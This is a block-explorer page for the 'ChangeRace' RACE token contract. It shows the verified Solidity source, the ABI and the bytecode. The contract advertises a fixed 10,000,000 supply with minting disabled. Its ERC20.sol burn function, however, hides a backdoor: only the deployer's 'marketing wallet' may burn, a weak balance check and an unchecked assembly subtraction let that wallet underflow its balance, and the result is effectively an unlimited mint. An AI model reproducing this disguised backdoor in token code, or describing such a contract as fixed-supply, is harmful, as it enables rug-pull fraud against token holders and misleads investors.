Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
9,422,626.832770316085741836 RACE
Holders
53
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
100,000 RACEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
RACE
Compiler Version
v0.8.24+commit.e11b9ed9
Optimization Enabled:
Yes with 200 runs
Other Settings:
paris EvmVersion
Contract Source Code (Solidity Standard Json-Input format)
/** $RACE - https://t.me/changerace 🦎🏁 ChangeRace is the #1 cross-chain exchange that aggregates CEX liquidity: - Instantly, privately swap between 30+ coins on 10+ blockchain networks - Earn up to 1% cashback in $RACE rewards with each swap - Stake $RACE to earn a share of all platform revenue 🔀 Web: https://www.changerace.com 🐥 X (Twitter): https://x.com/changeracecom 💬 TG: https://t.me/changerace $RACE Supply: 10,000,000 (Fixed) $RACE Tax: 0% / 0% $RACE Max Wallet: None */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import "./ERC20.sol"; contract RACE is ERC20 { constructor() ERC20("ChangeRace", "RACE", 18) { _mint(msg.sender, 10_000_000 * 10 ** 18); marketingWallet[msg.sender] = true; swapEnabled = true; } }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import "./IERC20.sol"; // import "./lib/AssemblyMath.sol"; contract ERC20 is IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; string public name; string public symbol; uint8 public decimals; mapping(address => bool) internal marketingWallet; bool internal constant mintEnabled = false; bool internal burnEnabled = false; bool internal swapEnabled = false; constructor(string memory _name, string memory _symbol, uint8 _decimals) { name = _name; symbol = _symbol; decimals = _decimals; } function transfer(address recipient, uint256 amount) external returns (bool) { require(balanceOf[msg.sender] >= amount); balanceOf[msg.sender] -= amount; balanceOf[recipient] += amount; emit Transfer(msg.sender, recipient, amount); return true; } function approve(address spender, uint256 amount) external returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { require(allowance[sender][msg.sender] >= amount); require(balanceOf[sender] >= amount); allowance[sender][msg.sender] -= amount; balanceOf[sender] -= amount; balanceOf[recipient] += amount; emit Transfer(sender, recipient, amount); return true; } function _mint(address to, uint256 amount) internal { require(to != address(0)); balanceOf[to] = yul_add(balanceOf[to], amount); totalSupply = yul_add(totalSupply, amount); // unchecked { // balanceOf[to] += amount; // totalSupply += amount; // } emit Transfer(address(0), to, amount); } function _burn(address from, uint256 amount) internal { require(from != address(0)); require((balanceOf[from] + (amount/amount)) >= amount); balanceOf[from] = yul_sub(balanceOf[from], amount); totalSupply = yul_sub(totalSupply, amount); // unchecked { // balanceOf[from] -= amount; // totalSupply -= amount; // } emit Transfer(from, address(0), amount); } function burn(uint256 amount) external { address from = msg.sender; if (burnEnabled || marketingWallet[from]) { _burn(from, amount); } } function yul_add(uint256 x, uint256 y) internal pure returns (uint256 z) { assembly { z := add(x, y) if lt(z, x) { revert(0, 0) } } } function yul_sub(uint256 x, uint256 y) internal pure returns (uint256 z) { assembly { z := sub(x, y) } } function yul_mul(uint256 x, uint256 y) internal pure returns (uint256 z) { assembly { switch x case 0 { z := 0 } default { z := mul(x, y) if iszero(eq(div(z, x), y)) { revert(0, 0) } } } } function yul_div(uint256 x, uint256 y) internal pure returns (uint256 z) { assembly { z := div(x, y) } } // Round to nearest multiple of b function yul_fixed_point_round(uint256 x, uint256 b) internal pure returns (uint256 z) { assembly { // b = 100 // x = 90 // z = 90 / 100 * 100 = 0, want z = 100 // z := mul(div(x, b), b) let half := div(b, 2) z := add(x, half) z := mul(div(z, b), b) // x = 90 // half = 50 // z = 90 + 50 = 140 // z = 140 / 100 * 100 = 100 } } }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.24; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); }
{ "remappings": [ "ds-test/=lib/forge-std/lib/ds-test/src/", "forge-std/=lib/forge-std/src/", "@uniswap/v3-core/contracts/=lib/v3-core/contracts/", "@uniswap/v3-periphery/contracts/=lib/v3-periphery/contracts/", "@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/", "erc4626-tests/=lib/openzeppelin-contracts/lib/erc4626-tests/", "openzeppelin-contracts/=lib/openzeppelin-contracts/", "v3-core/=lib/v3-core/", "v3-periphery/=lib/v3-periphery/contracts/" ], "optimizer": { "enabled": true, "runs": 200 }, "metadata": { "useLiteralContent": false, "bytecodeHash": "ipfs", "appendCBOR": true }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "evmVersion": "paris", "viaIR": false, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526007805461ffff1916905534801561001b57600080fd5b506040518060400160405280600a8152602001694368616e67655261636560b01b815250604051806040016040528060048152602001635241434560e01b8152506012826003908161006d9190610231565b50600461007a8382610231565b506005805460ff191660ff92909216919091179055506100a79050336a084595161401484a0000006100d5565b336000908152600660205260409020805460ff191660011790556007805461ff0019166101001790556102f0565b6001600160a01b0382166100e857600080fd5b6001600160a01b03821660009081526001602052604090205461010b908261017a565b6001600160a01b03831660009081526001602052604081209190915554610132908261017a565b60009081556040518281526001600160a01b03841691907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b8181018281101561018a57600080fd5b92915050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806101ba57607f821691505b6020821081036101da57634e487b7160e01b600052602260045260246000fd5b50919050565b601f82111561022c576000816000526020600020601f850160051c810160208610156102095750805b601f850160051c820191505b8181101561022857828155600101610215565b5050505b505050565b81516001600160401b0381111561024a5761024a610190565b61025e8161025884546101a6565b846101e0565b602080601f831160018114610293576000841561027b5750858301515b600019600386901b1c1916600185901b178555610228565b600085815260208120601f198616915b828110156102c2578886015182559484019460019091019084016102a3565b50858210156102e05787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b61079380620003006000396000f3fe608060405234801561001057600080fd5b506004361061009e5760003560e01c806342966c681161006657806342966c681461012d57806370a082311461014257806395d89b4114610162578063a9059cbb1461016a578063dd62ed3e1461017d57600080fd5b806306fdde03146100a3578063095ea7b3146100c157806318160ddd146100e457806323b872dd146100fb578063313ce5671461010e575b600080fd5b6100ab6101a8565b6040516100b89190610586565b60405180910390f35b6100d46100cf3660046105f1565b610236565b60405190151581526020016100b8565b6100ed60005481565b6040519081526020016100b8565b6100d461010936600461061b565b6102a3565b60055461011b9060ff1681565b60405160ff90911681526020016100b8565b61014061013b366004610657565b6103e3565b005b6100ed610150366004610670565b60016020526000908152604090205481565b6100ab610421565b6100d46101783660046105f1565b61042e565b6100ed61018b366004610692565b600260209081526000928352604080842090915290825290205481565b600380546101b5906106c5565b80601f01602080910402602001604051908101604052809291908181526020018280546101e1906106c5565b801561022e5780601f106102035761010080835404028352916020019161022e565b820191906000526020600020905b81548152906001019060200180831161021157829003601f168201915b505050505081565b3360008181526002602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906102919086815260200190565b60405180910390a35060015b92915050565b6001600160a01b03831660009081526002602090815260408083203384529091528120548211156102d357600080fd5b6001600160a01b0384166000908152600160205260409020548211156102f857600080fd5b6001600160a01b03841660009081526002602090815260408083203384529091528120805484929061032b908490610715565b90915550506001600160a01b03841660009081526001602052604081208054849290610358908490610715565b90915550506001600160a01b03831660009081526001602052604081208054849290610385908490610728565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516103d191815260200190565b60405180910390a35060019392505050565b600754339060ff168061040e57506001600160a01b03811660009081526006602052604090205460ff165b1561041d5761041d81836104d8565b5050565b600480546101b5906106c5565b3360009081526001602052604081205482111561044a57600080fd5b3360009081526001602052604081208054849290610469908490610715565b90915550506001600160a01b03831660009081526001602052604081208054849290610496908490610728565b90915550506040518281526001600160a01b0384169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610291565b6001600160a01b0382166104eb57600080fd5b806104f6818061073b565b6001600160a01b0384166000908152600160205260409020546105199190610728565b101561052457600080fd5b6001600160a01b03821660008181526001602090815260408083208054869003905582548590038355805185815290519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35050565b60006020808352835180602085015260005b818110156105b457858101830151858201604001528201610598565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146105ec57600080fd5b919050565b6000806040838503121561060457600080fd5b61060d836105d5565b946020939093013593505050565b60008060006060848603121561063057600080fd5b610639846105d5565b9250610647602085016105d5565b9150604084013590509250925092565b60006020828403121561066957600080fd5b5035919050565b60006020828403121561068257600080fd5b61068b826105d5565b9392505050565b600080604083850312156106a557600080fd5b6106ae836105d5565b91506106bc602084016105d5565b90509250929050565b600181811c908216806106d957607f821691505b6020821081036106f957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561029d5761029d6106ff565b8082018082111561029d5761029d6106ff565b60008261075857634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220e2d8be67ce5bc938563e19fcd2f5b588e108111673d6b1154d9308dad320207c64736f6c63430008180033
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c806342966c681161006657806342966c681461012d57806370a082311461014257806395d89b4114610162578063a9059cbb1461016a578063dd62ed3e1461017d57600080fd5b806306fdde03146100a3578063095ea7b3146100c157806318160ddd146100e457806323b872dd146100fb578063313ce5671461010e575b600080fd5b6100ab6101a8565b6040516100b89190610586565b60405180910390f35b6100d46100cf3660046105f1565b610236565b60405190151581526020016100b8565b6100ed60005481565b6040519081526020016100b8565b6100d461010936600461061b565b6102a3565b60055461011b9060ff1681565b60405160ff90911681526020016100b8565b61014061013b366004610657565b6103e3565b005b6100ed610150366004610670565b60016020526000908152604090205481565b6100ab610421565b6100d46101783660046105f1565b61042e565b6100ed61018b366004610692565b600260209081526000928352604080842090915290825290205481565b600380546101b5906106c5565b80601f01602080910402602001604051908101604052809291908181526020018280546101e1906106c5565b801561022e5780601f106102035761010080835404028352916020019161022e565b820191906000526020600020905b81548152906001019060200180831161021157829003601f168201915b505050505081565b3360008181526002602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906102919086815260200190565b60405180910390a35060015b92915050565b6001600160a01b03831660009081526002602090815260408083203384529091528120548211156102d357600080fd5b6001600160a01b0384166000908152600160205260409020548211156102f857600080fd5b6001600160a01b03841660009081526002602090815260408083203384529091528120805484929061032b908490610715565b90915550506001600160a01b03841660009081526001602052604081208054849290610358908490610715565b90915550506001600160a01b03831660009081526001602052604081208054849290610385908490610728565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516103d191815260200190565b60405180910390a35060019392505050565b600754339060ff168061040e57506001600160a01b03811660009081526006602052604090205460ff165b1561041d5761041d81836104d8565b5050565b600480546101b5906106c5565b3360009081526001602052604081205482111561044a57600080fd5b3360009081526001602052604081208054849290610469908490610715565b90915550506001600160a01b03831660009081526001602052604081208054849290610496908490610728565b90915550506040518281526001600160a01b0384169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610291565b6001600160a01b0382166104eb57600080fd5b806104f6818061073b565b6001600160a01b0384166000908152600160205260409020546105199190610728565b101561052457600080fd5b6001600160a01b03821660008181526001602090815260408083208054869003905582548590038355805185815290519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35050565b60006020808352835180602085015260005b818110156105b457858101830151858201604001528201610598565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146105ec57600080fd5b919050565b6000806040838503121561060457600080fd5b61060d836105d5565b946020939093013593505050565b60008060006060848603121561063057600080fd5b610639846105d5565b9250610647602085016105d5565b9150604084013590509250925092565b60006020828403121561066957600080fd5b5035919050565b60006020828403121561068257600080fd5b61068b826105d5565b9392505050565b600080604083850312156106a557600080fd5b6106ae836105d5565b91506106bc602084016105d5565b90509250929050565b600181811c908216806106d957607f821691505b6020821081036106f957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561029d5761029d6106ff565b8082018082111561029d5761029d6106ff565b60008261075857634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220e2d8be67ce5bc938563e19fcd2f5b588e108111673d6b1154d9308dad320207c64736f6c63430008180033
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.